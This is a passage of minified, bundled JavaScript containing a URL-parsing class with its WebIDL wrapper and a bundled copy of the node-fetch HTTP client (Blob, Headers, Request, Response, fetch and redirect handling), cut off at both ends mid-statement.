0){if(Y=nz.basicURLParse(q),Y===null)return!1}if(nz.basicURLParse(K,{baseURL:Y})===null)return!1;return!0}get href(){return nz.serializeURL(this._url)}set href(K){let q=nz.basicURLParse(K);if(q===null)throw TypeError(`Invalid URL: ${K}`);this._url=q,this._query._list.splice(0);let{query:Y}=q;if(Y!==null)this._query._list=xi4.parseUrlencodedString(Y)}get origin(){return nz.serializeURLOrigin(this._url)}get protocol(){return`${this._url.scheme}:`}set protocol(K){nz.basicURLParse(`${K}:`,{url:this._url,stateOverride:"scheme start"})}get username(){return this._url.username}set username(K){if(nz.cannotHaveAUsernamePasswordPort(this._url))return;nz.setTheUsername(this._url,K)}get password(){return this._url.password}set password(K){if(nz.cannotHaveAUsernamePasswordPort(this._url))return;nz.setThePassword(this._url,K)}get host(){let K=this._url;if(K.host===null)return"";if(K.port===null)return nz.serializeHost(K.host);return`${nz.serializeHost(K.host)}:${nz.serializeInteger(K.port)}`}set host(K){if(nz.hasAnOpaquePath(this._url))return;nz.basicURLParse(K,{url:this._url,stateOverride:"host"})}get hostname(){if(this._url.host===null)return"";return nz.serializeHost(this._url.host)}set hostname(K){if(nz.hasAnOpaquePath(this._url))return;nz.basicURLParse(K,{url:this._url,stateOverride:"hostname"})}get port(){if(this._url.port===null)return"";return nz.serializeInteger(this._url.port)}set port(K){if(nz.cannotHaveAUsernamePasswordPort(this._url))return;if(K==="")this._url.port=null;else nz.basicURLParse(K,{url:this._url,stateOverride:"port"})}get pathname(){return nz.serializePath(this._url)}set pathname(K){if(nz.hasAnOpaquePath(this._url))return;this._url.path=[],nz.basicURLParse(K,{url:this._url,stateOverride:"path start"})}get search(){if(this._url.query===null||this._url.query==="")return"";return`?${this._url.query}`}set search(K){let q=this._url;if(K===""){q.query=null,this._query._list=[];return}let Y=K[0]==="?"?K.substring(1):K;q.query="",nz.basicURLParse(Y,{url:q,stateOverride:"query"}),this._query._list=xi4.parseUrlencodedString(Y)}get searchParams(){return this._query}get hash(){if(this._url.fragment===null||this._url.fragment==="")return"";return`#${this._url.fragment}`}set hash(K){if(K===""){this._url.fragment=null;return}let q=K[0]==="#"?K.substring(1):K;this._url.fragment="",nz.basicURLParse(q,{url:this._url,stateOverride:"fragment"})}toJSON(){return this.href}}});var Fi4=v((in9)=>{var uD=Cz1(),lV=Rz1(),IY=lV.implSymbol,cn9=lV.ctorRegistrySymbol;in9.is=(A)=>{return lV.isObject(A)&&lV.hasOwn(A,IY)&&A[IY]instanceof $u.implementation};in9.isImpl=(A)=>{return lV.isObject(A)&&A instanceof $u.implementation};in9.convert=(A,K,{context:q="The provided value"}={})=>{if(in9.is(K))return lV.implForWrapper(K);throw new A.TypeError(`${q} is not of type 'URL'.`)};function Bi4(A,K){let q;if(K!==void 0)q=K.prototype;if(!lV.isObject(q))q=A[cn9].URL.prototype;return Object.create(q)}in9.create=(A,K,q)=>{let Y=Bi4(A);return in9.setup(Y,A,K,q)};in9.createImpl=(A,K,q)=>{let Y=in9.create(A,K,q);return lV.implForWrapper(Y)};in9._internalSetup=(A,K)=>{};in9.setup=(A,K,q=[],Y={})=>{if(Y.wrapper=A,in9._internalSetup(A,K),Object.defineProperty(A,IY,{value:new $u.implementation(K,q,Y),configurable:!0}),A[IY][lV.wrapperSymbol]=A,$u.init)$u.init(A[IY]);return A};in9.new=(A,K)=>{let q=Bi4(A,K);if(in9._internalSetup(q,A),Object.defineProperty(q,IY,{value:Object.create($u.implementation.prototype),configurable:!0}),q[IY][lV.wrapperSymbol]=q,$u.init)$u.init(q[IY]);return q[IY]};var ln9=new Set(["Window","Worker"]);in9.install=(A,K)=>{if(!K.some((z)=>ln9.has(z)))return;let q=lV.initCtorRegistry(A);class Y{constructor(z){if(arguments.length<1)throw new A.TypeError(`Failed to construct 'URL': 1 argument required, but only ${arguments.length} present.`);let w=[];{let H=arguments[0];H=uD.USVString(H,{context:"Failed to construct 'URL': parameter 1",globals:A}),w.push(H)}{let H=arguments[1];if(H!==void 0)H=uD.USVString(H,{context:"Failed to construct 'URL': parameter 2",globals:A});w.push(H)}return in9.setup(Object.create(new.target.prototype),A,w)}toJSON(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'toJSON' called on an object that is not a valid instance of URL.");return z[IY].toJSON()}get href(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get href' called on an object that is not a valid instance of URL.");return z[IY].href}set href(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set href' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'href' property on 'URL': The provided value",globals:A}),w[IY].href=z}toString(){let z=this;if(!in9.is(z))throw new A.TypeError("'toString' called on an object that is not a valid instance of URL.");return z[IY].href}get origin(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get origin' called on an object that is not a valid instance of URL.");return z[IY].origin}get protocol(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get protocol' called on an object that is not a valid instance of URL.");return z[IY].protocol}set protocol(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set protocol' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'protocol' property on 'URL': The provided value",globals:A}),w[IY].protocol=z}get username(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get username' called on an object that is not a valid instance of URL.");return z[IY].username}set username(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set username' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'username' property on 'URL': The provided value",globals:A}),w[IY].username=z}get password(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get password' called on an object that is not a valid instance of URL.");return z[IY].password}set password(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set password' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'password' property on 'URL': The provided value",globals:A}),w[IY].password=z}get host(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get host' called on an object that is not a valid instance of URL.");return z[IY].host}set host(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set host' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'host' property on 'URL': The provided value",globals:A}),w[IY].host=z}get hostname(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get hostname' called on an object that is not a valid instance of URL.");return z[IY].hostname}set hostname(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set hostname' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'hostname' property on 'URL': The provided value",globals:A}),w[IY].hostname=z}get port(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get port' called on an object that is not a valid instance of URL.");return z[IY].port}set port(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set port' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'port' property on 'URL': The provided value",globals:A}),w[IY].port=z}get pathname(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get pathname' called on an object that is not a valid instance of URL.");return z[IY].pathname}set pathname(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set pathname' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'pathname' property on 'URL': The provided value",globals:A}),w[IY].pathname=z}get search(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get search' called on an object that is not a valid instance of URL.");return z[IY].search}set search(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set search' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'search' property on 'URL': The provided value",globals:A}),w[IY].search=z}get searchParams(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get searchParams' called on an object that is not a valid instance of URL.");return lV.getSameObject(this,"searchParams",()=>{return lV.tryWrapperForImpl(z[IY].searchParams)})}get hash(){let z=this!==null&&this!==void 0?this:A;if(!in9.is(z))throw new A.TypeError("'get hash' called on an object that is not a valid instance of URL.");return z[IY].hash}set hash(z){let w=this!==null&&this!==void 0?this:A;if(!in9.is(w))throw new A.TypeError("'set hash' called on an object that is not a valid instance of URL.");z=uD.USVString(z,{context:"Failed to set the 'hash' property on 'URL': The provided value",globals:A}),w[IY].hash=z}static parse(z){if(arguments.length<1)throw new A.TypeError(`Failed to execute 'parse' on 'URL': 1 argument required, but only ${arguments.length} present.`);let w=[];{let H=arguments[0];H=uD.USVString(H,{context:"Failed to execute 'parse' on 'URL': parameter 1",globals:A}),w.push(H)}{let H=arguments[1];if(H!==void 0)H=uD.USVString(H,{context:"Failed to execute 'parse' on 'URL': parameter 2",globals:A});w.push(H)}return lV.tryWrapperForImpl($u.implementation.parse(A,...w))}static canParse(z){if(arguments.length<1)throw new A.TypeError(`Failed to execute 'canParse' on 'URL': 1 argument required, but only ${arguments.length} present.`);let w=[];{let H=arguments[0];H=uD.USVString(H,{context:"Failed to execute 'canParse' on 'URL': parameter 1",globals:A}),w.push(H)}{let H=arguments[1];if(H!==void 0)H=uD.USVString(H,{context:"Failed to execute 'canParse' on 'URL': parameter 2",globals:A});w.push(H)}return $u.implementation.canParse(...w)}}if(Object.defineProperties(Y.prototype,{toJSON:{enumerable:!0},href:{enumerable:!0},toString:{enumerable:!0},origin:{enumerable:!0},protocol:{enumerable:!0},username:{enumerable:!0},password:{enumerable:!0},host:{enumerable:!0},hostname:{enumerable:!0},port:{enumerable:!0},pathname:{enumerable:!0},search:{enumerable:!0},searchParams:{enumerable:!0},hash:{enumerable:!0},[Symbol.toStringTag]:{value:"URL",configurable:!0}}),Object.defineProperties(Y,{parse:{enumerable:!0},canParse:{enumerable:!0}}),q.URL=Y,Object.defineProperty(A,"URL",{configurable:!0,writable:!0,value:Y}),K.includes("Window"))Object.defineProperty(A,"webkitURL",{configurable:!0,writable:!0,value:Y})};var $u=ui4()});var Qi4=v((Ar9)=>{var tn9=Fi4(),en9=tw6();Ar9.URL=tn9;Ar9.URLSearchParams=en9});var pi4=v((wr9)=>{var{URL:Yr9,URLSearchParams:zr9}=Qi4(),ly=rw6(),Ui4=Iz1(),Bz1={Array,Object,Promise,String,TypeError};Yr9.install(Bz1,["Window"]);zr9.install(Bz1,["Window"]);wr9.URL=Bz1.URL;wr9.URLSearchParams=Bz1.URLSearchParams;wr9.parseURL=ly.parseURL;wr9.basicURLParse=ly.basicURLParse;wr9.serializeURL=ly.serializeURL;wr9.serializePath=ly.serializePath;wr9.serializeHost=ly.serializeHost;wr9.serializeInteger=ly.serializeInteger;wr9.serializeURLOrigin=ly.serializeURLOrigin;wr9.setTheUsername=ly.setTheUsername;wr9.setThePassword=ly.setThePassword;wr9.cannotHaveAUsernamePasswordPort=ly.cannotHaveAUsernamePasswordPort;wr9.hasAnOpaquePath=ly.hasAnOpaquePath;wr9.percentDecodeString=Ui4.percentDecodeString;wr9.percentDecodeBytes=Ui4.percentDecodeBytes});var XH6=v((ny,ei4)=>{Object.defineProperty(ny,"__esModule",{value:!0});function __A(A){return A&&typeof A==="object"&&"default"in A?A.default:A}var iy=__A(CA("stream")),ii4=__A(CA("http")),gz1=__A(CA("url")),ni4=__A(pi4()),Nr9=__A(CA("https")),S7A=__A(CA("zlib")),Tr9=iy.Readable,XU=Symbol("buffer"),AH6=Symbol("type");class X_A{constructor(){this[AH6]="";let A=arguments[0],K=arguments[1],q=[],Y=0;if(A){let w=A,H=Number(w.length);for(let J=0;J<H;J++){let O=w[J],X;if(O instanceof Buffer)X=O;else if(ArrayBuffer.isView(O))X=Buffer.from(O.buffer,O.byteOffset,O.byteLength);else if(O instanceof ArrayBuffer)X=Buffer.from(O);else if(O instanceof X_A)X=O[XU];else X=Buffer.from(typeof O==="string"?O:String(O));Y+=X.length,q.push(X)}}this[XU]=Buffer.concat(q);let z=K&&K.type!==void 0&&String(K.type).toLowerCase();if(z&&!/[^\u0020-\u007E]/.test(z))this[AH6]=z}get size(){return this[XU].length}get type(){return this[AH6]}text(){return Promise.resolve(this[XU].toString())}arrayBuffer(){let A=this[XU],K=A.buffer.slice(A.byteOffset,A.byteOffset+A.byteLength);return Promise.resolve(K)}stream(){let A=new Tr9;return A._read=function(){},A.push(this[XU]),A.push(null),A}toString(){return"[object Blob]"}slice(){let A=this.size,K=arguments[0],q=arguments[1],Y,z;if(K===void 0)Y=0;else if(K<0)Y=Math.max(A+K,0);else Y=Math.min(K,A);if(q===void 0)z=A;else if(q<0)z=Math.max(A+q,0);else z=Math.min(q,A);let w=Math.max(z-Y,0),J=this[XU].slice(Y,Y+w),O=new X_A([],{type:arguments[2]});return O[XU]=J,O}}Object.defineProperties(X_A.prototype,{size:{enumerable:!0},type:{enumerable:!0},slice:{enumerable:!0}});Object.defineProperty(X_A.prototype,Symbol.toStringTag,{value:"Blob",writable:!1,enumerable:!1,configurable:!0});function pZ(A,K,q){if(Error.call(this,A),this.message=A,this.type=K,q)this.code=this.errno=q.code;Error.captureStackTrace(this,this.constructor)}pZ.prototype=Object.create(Error.prototype);pZ.prototype.constructor=pZ;pZ.prototype.name="FetchError";var zH6;try{zH6=(()=>{throw new Error("Cannot require module "+"encoding");})().convert}catch(A){}var _U=Symbol("Body internals"),di4=iy.PassThrough;function MG(A){var K=this,q=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},Y=q.size;let z=Y===void 0?0:Y;var w=q.timeout;let H=w===void 0?0:w;if(A==null)A=null;else if(ri4(A))A=Buffer.from(A.toString());else if(zhA(A));else if(Buffer.isBuffer(A));else if(Object.prototype.toString.call(A)==="[object ArrayBuffer]")A=Buffer.from(A);else if(ArrayBuffer.isView(A))A=Buffer.from(A.buffer,A.byteOffset,A.byteLength);else if(A instanceof iy);else A=Buffer.from(String(A));if(this[_U]={body:A,disturbed:!1,error:null},this.size=z,this.timeout=H,A instanceof iy)A.on("error",function(J){let O=J.name==="AbortError"?J:new pZ(`Invalid response body while trying to fetch ${K.url}: ${J.message}`,"system",J);K[_U].error=O})}MG.prototype={get body(){return this[_U].body},get bodyUsed(){return this[_U].disturbed},arrayBuffer(){return J_A.call(this).then(function(A){return A.buffer.slice(A.byteOffset,A.byteOffset+A.byteLength)})},blob(){let A=this.headers&&this.headers.get("content-type")||"";return J_A.call(this).then(function(K){return Object.assign(new X_A([],{type:A.toLowerCase()}),{[XU]:K})})},json(){var A=this;return J_A.call(this).then(function(K){try{return JSON.parse(K.toString())}catch(q){return MG.Promise.reject(new pZ(`invalid json response body at ${A.url} reason: ${q.message}`,"invalid-json"))}})},text(){return J_A.call(this).then(function(A){return A.toString()})},buffer(){return J_A.call(this)},textConverted(){var A=this;return J_A.call(this).then(function(K){return vr9(K,A.headers)})}};Object.defineProperties(MG.prototype,{body:{enumerable:!0},bodyUsed:{enumerable:!0},arrayBuffer:{enumerable:!0},blob:{enumerable:!0},json:{enumerable:!0},text:{enumerable:!0}});MG.mixIn=function(A){for(let K of Object.getOwnPropertyNames(MG.prototype))if(!(K in A)){let q=Object.getOwnPropertyDescriptor(MG.prototype,K);Object.defineProperty(A,K,q)}};function J_A(){var A=this;if(this[_U].disturbed)return MG.Promise.reject(TypeError(`body used already for: ${this.url}`));if(this[_U].disturbed=!0,this[_U].error)return MG.Promise.reject(this[_U].error);let K=this.body;if(K===null)return MG.Promise.resolve(Buffer.alloc(0));if(zhA(K))K=K.stream();if(Buffer.isBuffer(K))return MG.Promise.resolve(K);if(!(K instanceof iy))return MG.Promise.resolve(Buffer.alloc(0));let q=[],Y=0,z=!1;return new MG.Promise(function(w,H){let J;if(A.timeout)J=setTimeout(function(){z=!0,H(new pZ(`Response timeout while trying to fetch ${A.url} (over ${A.timeout}ms)`,"body-timeout"))},A.timeout);K.on("error",function(O){if(O.name==="AbortError")z=!0,H(O);else H(new pZ(`Invalid response body while trying to fetch ${A.url}: ${O.message}`,"system",O))}),K.on("data",function(O){if(z||O===null)return;if(A.size&&Y+O.length>A.size){z=!0,H(new pZ(`content size at ${A.url} over limit: ${A.size}`,"max-size"));return}Y+=O.length,q.push(O)}),K.on("end",function(){if(z)return;clearTimeout(J);try{w(Buffer.concat(q,Y))}catch(O){H(new pZ(`Could not create Buffer from response body for ${A.url}: ${O.message}`,"system",O))}})})}function vr9(A,K){if(typeof zH6!=="function")throw Error("The package `encoding` must be installed to use the textConverted() function");let q=K.get("content-type"),Y="utf-8",z,w;if(q)z=/charset=([^;]*)/i.exec(q);if(w=A.slice(0,1024).toString(),!z&&w)z=/<meta.+?charset=(['"])(.+?)\1/i.exec(w);if(!z&&w){if(z=/<meta[\s]+?http-equiv=(['"])content-type\1[\s]+?content=(['"])(.+?)\2/i.exec(w),!z){if(z=/<meta[\s]+?content=(['"])(.+?)\1[\s]+?http-equiv=(['"])content-type\3/i.exec(w),z)z.pop()}if(z)z=/charset=(.*)/i.exec(z.pop())}if(!z&&w)z=/<\?xml.+?encoding=(['"])(.+?)\1/i.exec(w);if(z){if(Y=z.pop(),Y==="gb2312"||Y==="gbk")Y="gb18030"}return zH6(A,"UTF-8",Y).toString()}function ri4(A){if(typeof A!=="object"||typeof A.append!=="function"||typeof A.delete!=="function"||typeof A.get!=="function"||typeof A.getAll!=="function"||typeof A.has!=="function"||typeof A.set!=="function")return!1;return A.constructor.name==="URLSearchParams"||Object.prototype.toString.call(A)==="[object URLSearchParams]"||typeof A.sort==="function"}function zhA(A){return typeof A==="object"&&typeof A.arrayBuffer==="function"&&typeof A.type==="string"&&typeof A.stream==="function"&&typeof A.constructor==="function"&&typeof A.constructor.name==="string"&&/^(Blob|File)$/.test(A.constructor.name)&&/^(Blob|File)$/.test(A[Symbol.toStringTag])}function oi4(A){let K,q,Y=A.body;if(A.bodyUsed)throw Error("cannot clone body after it is used");if(Y instanceof iy&&typeof Y.getBoundary!=="function")K=new di4,q=new di4,Y.pipe(K),Y.pipe(q),A[_U].body=K,Y=q;return Y}function ai4(A){if(A===null)return null;else if(typeof A==="string")return"text/plain;charset=UTF-8";else if(ri4(A))return"application/x-www-form-urlencoded;charset=UTF-8";else if(zhA(A))return A.type||null;else if(Buffer.isBuffer(A))return null;else if(Object.prototype.toString.call(A)==="[object ArrayBuffer]")return null;else if(ArrayBuffer.isView(A))return null;else if(typeof A.getBoundary==="function")return`multipart/form-data;boundary=${A.getBoundary()}`;else if(A instanceof iy)return null;else return"text/plain;charset=UTF-8"}function si4(A){let K=A.body;if(K===null)return 0;else if(zhA(K))return K.size;else if(Buffer.isBuffer(K))return K.length;else if(K&&typeof K.getLengthSync==="function"){if(K._lengthRetrievers&&K._lengthRetrievers.length==0||K.hasKnownLength&&K.hasKnownLength())return K.getLengthSync();return null}else return null}function Er9(A,K){let q=K.body;if(q===null)A.end();else if(zhA(q))q.stream().pipe(A);else if(Buffer.isBuffer(q))A.write(q),A.end();else q.pipe(A)}MG.Promise=global.Promise;var ti4=/[^\^_`a-zA-Z\-0-9!#$%&'*+.|~]/,wH6=/[^\t\x20-\x7e\x80-\xff]/;function qhA(A){if(A=`${A}`,ti4.test(A)||A==="")throw TypeError(`${A} is not a legal HTTP header name`)}function ci4(A){if(A=`${A}`,wH6.test(A))throw TypeError(`${A} is not a legal HTTP header value`)}function O_A(A,K){K=K.toLowerCase();for(let q in A)if(q.toLowerCase()===K)return q;return}var qX=Symbol("map");class OC{constructor(){let A=arguments.length>0&&arguments[0]!==void 0?arguments[0]:void 0;if(this[qX]=Object.create(null),A instanceof OC){let K=A.raw(),q=Object.keys(K);for(let Y of q)for(let z of K[Y])this.append(Y,z);return}if(A==null);else if(typeof A==="object"){let K=A[Symbol.iterator];if(K!=null){if(typeof K!=="function")throw TypeError("Header pairs must be iterable");let q=[];for(let Y of A){if(typeof Y!=="object"||typeof Y[Symbol.iterator]!=="function")throw TypeError("Each header pair must be iterable");q.push(Array.from(Y))}for(let Y of q){if(Y.length!==2)throw TypeError("Each header pair must be a name/value tuple");this.append(Y[0],Y[1])}}else for(let q of Object.keys(A)){let Y=A[q];this.append(q,Y)}}else throw TypeError("Provided initializer must be an object")}get(A){A=`${A}`,qhA(A);let K=O_A(this[qX],A);if(K===void 0)return null;return this[qX][K].join(", ")}forEach(A){let K=arguments.length>1&&arguments[1]!==void 0?arguments[1]:void 0,q=HH6(this),Y=0;while(Y<q.length){var z=q[Y];let w=z[0],H=z[1];A.call(K,H,w,this),q=HH6(this),Y++}}set(A,K){A=`${A}`,K=`${K}`,qhA(A),ci4(K);let q=O_A(this[qX],A);this[qX][q!==void 0?q:A]=[K]}append(A,K){A=`${A}`,K=`${K}`,qhA(A),ci4(K);let q=O_A(this[qX],A);if(q!==void 0)this[qX][q].push(K);else this[qX][A]=[K]}has(A){return A=`${A}`,qhA(A),O_A(this[qX],A)!==void 0}delete(A){A=`${A}`,qhA(A);let K=O_A(this[qX],A);if(K!==void 0)delete this[qX][K]}raw(){return this[qX]}keys(){return KH6(this,"key")}values(){return KH6(this,"value")}[Symbol.iterator](){return KH6(this,"key+value")}}OC.prototype.entries=OC.prototype[Symbol.iterator];Object.defineProperty(OC.prototype,Symbol.toStringTag,{value:"Headers",writable:!1,enumerable:!1,configurable:!0});Object.defineProperties(OC.prototype,{get:{enumerable:!0},forEach:{enumerable:!0},set:{enumerable:!0},append:{enumerable:!0},has:{enumerable:!0},delete:{enumerable:!0},keys:{enumerable:!0},values:{enumerable:!0},entries:{enumerable:!0}});function HH6(A){let K=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"key+value";return Object.keys(A[qX]).sort().map(K==="key"?function(Y){return Y.toLowerCase()}:K==="value"?function(Y){return A[qX][Y].join(", ")}:function(Y){return[Y.toLowerCase(),A[qX][Y].join(", ")]})}var JH6=Symbol("internal");function KH6(A,K){let q=Object.create(OH6);return q[JH6]={target:A,kind:K,index:0},q}var OH6=Object.setPrototypeOf({next(){if(!this||Object.getPrototypeOf(this)!==OH6)throw TypeError("Value of `this` is not a HeadersIterator");var A=this[JH6];let{target:K,kind:q,index:Y}=A,z=HH6(K,q),w=z.length;if(Y>=w)return{value:void 0,done:!0};return this[JH6].index=Y+1,{value:z[Y],done:!1}}},Object.getPrototypeOf(Object.getPrototypeOf([][Symbol.iterator]())));Object.defineProperty(OH6,Symbol.toStringTag,{value:"HeadersIterator",writable:!1,enumerable:!1,configurable:!0});function kr9(A){let K=Object.assign({__proto__:null},A[qX]),q=O_A(A[qX],"Host");if(q!==void 0)K[q]=K[q][0];return K}function Cr9(A){let K=new OC;for(let q of Object.keys(A)){if(ti4.test(q))continue;if(Array.isArray(A[q]))for(let Y of A[q]){if(wH6.test(Y))continue;if(K[qX][q]===void 0)K[qX][q]=[Y];else K[qX][q].push(Y)}else if(!wH6.test(A[q]))K[qX][q]=[A[q]]}return K}var Ho=Symbol("Response internals"),Lr9=ii4.STATUS_CODES;class JC{constructor(){let A=arguments.length>0&&arguments[0]!==void 0?arguments[0]:null,K=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};MG.call(this,A,K);let q=K.status||200,Y=new OC(K.headers);if(A!=null&&!Y.has("Content-Type")){let z=ai4(A);if(z)Y.append("Content-Type",z)}this[Ho]={url:K.url,status:q,statusText:K.statusText||Lr9[q],headers:Y,counter:K.counter}}get url(){return this[Ho].url||""}get status(){return this[Ho].status}get ok(){return this[Ho].status>=200&&this[Ho].status<300}get redirected(){return this[Ho].counter>0}get statusText(){return this[Ho].statusText}get headers(){return this[Ho].headers}clone(){return new JC(oi4(this),{url:this.url,status:this.status,statusText:this.statusText,headers:this.headers,ok:this.ok,redirected:this.redirected})}}MG.mixIn(JC.prototype);Object.defineProperties(JC.prototype,{url:{enumerable:!0},status:{enumerable:!0},ok:{enumerable:!0},redirected:{enumerable:!0},statusText:{enumerable:!0},headers:{enumerable:!0},clone:{enumerable:!0}});Object.defineProperty(JC.prototype,Symbol.toStringTag,{value:"Response",writable:!1,enumerable:!1,configurable:!0});var $U=Symbol("Request internals"),Rr9=gz1.URL||ni4.URL,yr9=gz1.parse,Ir9=gz1.format;function qH6(A){if(/^[a-zA-Z][a-zA-Z\d+\-.]*:/.exec(A))A=new Rr9(A).toString();return yr9(A)}var Sr9="destroy"in iy.Readable.prototype;function mz1(A){return typeof A==="object"&&typeof A[$U]==="object"}function hr9(A){let K=A&&typeof A==="object"&&Object.getPrototypeOf(A);return!!(K&&K.constructor.name==="AbortSignal")}class Oo{constructor(A){let K=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},q;if(!mz1(A)){if(A&&A.href)q=qH6(A.href);else q=qH6(`${A}`);A={}}else q=qH6(A.url);let Y=K.method||A.method||"GET";if(Y=Y.toUpperCase(),(K.body!=null||mz1(A)&&A.body!==null)&&(Y==="GET"||Y==="HEAD"))throw TypeError("Request with GET/HEAD method cannot have body");let z=K.body!=null?K.body:mz1(A)&&A.body!==null?oi4(A):null;MG.call(this,z,{timeout:K.timeout||A.timeout||0,size:K.size||A.size||0});let w=new OC(K.headers||A.headers||{});if(z!=null&&!w.has("Content-Type")){let J=ai4(z);if(J)w.append("Content-Type",J)}let H=mz1(A)?A.signal:null;if("signal"in K)H=K.signal;if(H!=null&&!hr9(H))throw TypeError("Expected signal to be an instanceof AbortSignal");this[$U]={method:Y,redirect:K.redirect||A.redirect||"follow",headers:w,parsedURL:q,signal:H},this.follow=K.follow!==void 0?K.follow:A.follow!==void 0?A.follow:20,this.compress=K.compress!==void 0?K.compress:A.compress!==void 0?A.compress:!0,this.counter=K.counter||A.counter||0,this.agent=K.agent||A.agent}get method(){return this[$U].method}get url(){return Ir9(this[$U].parsedURL)}get headers(){return this[$U].headers}get redirect(){return this[$U].redirect}get signal(){return this[$U].signal}clone(){return new Oo(this)}}MG.mixIn(Oo.prototype);Object.defineProperty(Oo.prototype,Symbol.toStringTag,{value:"Request",writable:!1,enumerable:!1,configurable:!0});Object.defineProperties(Oo.prototype,{method:{enumerable:!0},url:{enumerable:!0},headers:{enumerable:!0},redirect:{enumerable:!0},clone:{enumerable:!0},signal:{enumerable:!0}});function br9(A){let K=A[$U].parsedURL,q=new OC(A[$U].headers);if(!q.has("Accept"))q.set("Accept","*/*");if(!K.protocol||!K.hostname)throw TypeError("Only absolute URLs are supported");if(!/^https?:$/.test(K.protocol))throw TypeError("Only HTTP(S) protocols are supported");if(A.signal&&A.body instanceof iy.Readable&&!Sr9)throw Error("Cancellation of streamed requests with AbortSignal is not supported in node < 8");let Y=null;if(A.body==null&&/^(POST|PUT)$/i.test(A.method))Y="0";if(A.body!=null){let w=si4(A);if(typeof w==="number")Y=String(w)}if(Y)q.set("Content-Length",Y);if(!q.has("User-Agent"))q.set("User-Agent","node-fetch/1.0 (+https://github.com/bitinn/node-fetch)");if(A.compress&&!q.has("Accept-Encoding"))q.set("Accept-Encoding","gzip,deflate");let z=A.agent;if(typeof z==="function")z=z(K);return Object.assign({},K,{method:A.method,headers:kr9(q),agent:z})}function $_A(A){Error.call(this,A),this.type="aborted",this.message=A,Error.captureStackTrace(this,this.constructor)}$_A.prototype=Object.create(Error.prototype);$_A.prototype.constructor=$_A;$_A.prototype.name="AbortError";var YhA=gz1.URL||ni4.URL,li4=iy.PassThrough,xr9=function(K,q){let Y=new YhA(q).hostname,z=new YhA(K).hostname;return Y===z||Y[Y.length-z.length-1]==="."&&Y.endsWith(z)},ur9=function(K,q){let Y=new YhA(q).protocol,z=new YhA(K).protocol;return Y===z};function Jo(A,K){if(!Jo.Promise)throw Error("native promise missing, set fetch.Promise to your favorite alternative");return MG.Promise=Jo.Promise,new Jo.Promise(function(q,Y){let z=new Oo(A,K),w=br9(z),H=(w.protocol==="https:"?Nr9:ii4).request,J=z.signal,O=null,X=function(){let D=new $_A("The user aborted a request.");if(Y(D),z.body&&z.body instanceof iy.Readable)YH6(z.body,D);if(!O||!O.body)return;O.body.emit("error",D)};if(J&&J.aborted){X();return}let $=function(){X(),Z()},_=H(w),G;if(J)J.addEventListener("abort",$);function Z(){if(_.abort(),J)J.removeEventListener("abort",$);clearTimeout(G)}if(z.timeout)_.once("socket",function(W){G=setTimeout(function(){Y(new pZ(`network timeout at: ${z.url}`,"request-timeout")),Z()},z.timeout)});if(_.on("error",function(W){if(Y(new pZ(`request to ${z.url} failed, reason: ${W.message}`,"system",W)),O&&O.body)YH6(O.body,W);Z()}),Br9(_,function(W){if(J&&J.aborted)return;if(O&&O.body)YH6(O.body,W)}),parseInt(process.version.substring(1))<14)_.on("socket",function(W){W.addListener("close",function(D){let j=W.listenerCount("data")>0;if(O&&j&&!D&&!(J&&J.aborted)){let M=Error("Premature close");M.code="ERR_STREAM_PREMATURE_CLOSE",O.body.emit("error",M)}})});_.on("response",function(W){clearTimeout(G);let D=Cr9(W.headers);if(Jo.isRedirect(W.statusCode)){let N=D.get("Location"),T=null;try{T=N===null?null:new YhA(N,z.url).toString()}catch(C){if(z.redirect!=="manual"){Y(new pZ(`uri requested responds with an invalid redirect URL: ${N}`,"invalid-redirect")),Z();return}}switch(z.redirect){case"error":Y(new pZ(`uri requested responds with a redirect, redirect mode is set to error: ${z.url}`,"no-redirect")),Z();return;case"manual":if(T!==null)try{D.set("Location",T)}catch(R){Y(R)}break;case"follow":if(T===null)break;if(z.counter>=z.follow){Y(new pZ(`maximum redirect reached at: ${z.url}`,"max-redirect")),Z();return}let C={headers:new 